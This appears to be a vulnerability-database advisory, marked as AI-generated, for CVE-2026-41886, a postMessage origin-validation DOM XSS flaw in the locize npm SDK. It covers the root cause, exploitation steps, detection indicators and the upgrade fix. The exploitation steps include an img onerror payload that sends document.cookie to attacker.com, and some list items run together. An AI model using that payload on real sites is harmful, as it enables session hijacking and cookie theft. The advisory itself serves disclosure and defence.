
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2026-41886 is a cross-origin DOM XSS and handler hijack vulnerability in the locize client SDK (npm package locize), affecting all versions prior to 4.0.21. The flaw stems from a window.addEventListener("message", …) handler in src/api/postMessage.js that dispatches to internal handlers without validating event.origin, relying instead on an attacker-controllable field (event.data.sender) for gating. It was published on May 8, 2026, and patched in version 4.0.21 released April 18, 2026. The vulnerability carries a CVSS v3.1 base score of 7.5 (High) (GitHub Advisory).
The root cause is an Origin Validation Error (CWE-346) combined with Cross-site Scripting (CWE-79). The pre-patch postMessage listener in src/api/postMessage.js gates dispatch solely on event.data.sender === "i18next-editor-frame" — a value inside the attacker-controlled message payload rather than the browser-enforced event.origin. This allows any cross-origin page sharing a window reference with the locize-enabled host (via iframe embedding, window.open, or parent frame) to invoke internal handlers such as editKey, commitKey, commitKeys, isLocizeEnabled, and requestInitialize. Specific handler abuses include: handleEditKey assigning attacker-controlled values to item.node.innerHTML and item.node.setAttribute() (enabling script injection); isLocizeEnabled overwriting api.source/api.origin with attacker-controlled values (redirecting subsequent SDK messages to the attacker); and requestPopupChanges interpolating unsanitized values into CSS calc() expressions (enabling CSS injection) (GitHub Advisory).
Exploitation can result in cross-origin DOM XSS by injecting arbitrary HTML (e.g., <script>, <img onerror>, href="javascript:…") into the victim page via the editKey/commitKeys handlers, enabling session hijacking, credential theft, or malicious redirects. The isLocizeEnabled handler hijack redirects all subsequent SDK translation messages and metadata to the attacker's window, causing sensitive data leakage. Additionally, CSS injection via requestPopupChanges can be leveraged for data exfiltration or UI manipulation. The scope is marked as Changed, meaning a successful attack can affect resources beyond the vulnerable component itself (GitHub Advisory).
No public exploit code or in-the-wild exploitation has been reported as of the available data. The EPSS score is approximately 0.015% (0.000150), indicating a low probability of exploitation in the near term. The vulnerability requires user interaction and high attack complexity — specifically, the attacker must establish a window reference relationship with the locize-enabled host (e.g., via iframe or window.open). It is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The vulnerability was discovered through an internal security audit of the locize ecosystem (GitHub Advisory).
window.addEventListener("message", …) registration or locize-specific script tags.<iframe>, or use window.open() to open the target, establishing a cross-origin window reference.event.data.sender set to "i18next-editor-frame" and a handler-specific action (e.g., editKey) with attacker-controlled content such as innerHTML payloads containing <script>alert(1)</script> or <img src=x onerror=fetch('https://attacker.com/?c='+document.cookie)>.targetWindow.postMessage(payload, '*') from the attacker-controlled page to dispatch the crafted message to the victim window, bypassing origin checks.handleEditKey assigns the attacker-supplied value to item.node.innerHTML, executing the injected script in the context of the victim origin.isLocizeEnabled to hijack api.source/api.origin and intercept subsequent SDK translation messages sent to the attacker's window (GitHub Advisory).postMessage traffic observable in browser DevTools originating from cross-origin frames targeting locize-enabled pages.<script>, <img>, or event-handler attributes injected into translation key DOM nodes on locize-enabled pages; href attributes containing javascript: or data:text/html schemes on locize-managed elements.sendMessage calls directed to unexpected origins (attacker window) rather than https://incontext.locize.app; popup style attributes containing unusual CSS declarations with semicolons or behavior:url() patterns (GitHub Advisory).Upgrade the locize npm package to version 4.0.21 or later, which introduces two layers of defense: primary validation of event.origin at the top of the message event listener (dropping messages from any origin other than the configured iframe origin), and defense-in-depth sanitization in handleEditKey rejecting dangerous attributes (on*, style) and URL schemes (javascript:, data:, vbscript:, file:), with innerHTML assignments sanitized via a throwaway DOMParser. There is no supported workaround short of upgrading. Organizations should also consider deploying a strict Content Security Policy (CSP) to limit the impact of any XSS on locize-enabled pages (GitHub Advisory, Release v4.0.21).
The vulnerability was noted on Mastodon via The Hacker Wire shortly after disclosure on May 8, 2026, and was indexed by multiple CVE tracking platforms including VulnDB, CVEFeed, and CIRCL. The advisory was published by the locize maintainer (adrai) and credited to an internal security audit. No significant broader media coverage or notable researcher commentary beyond standard CVE aggregation has been identified (GitHub Advisory).
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."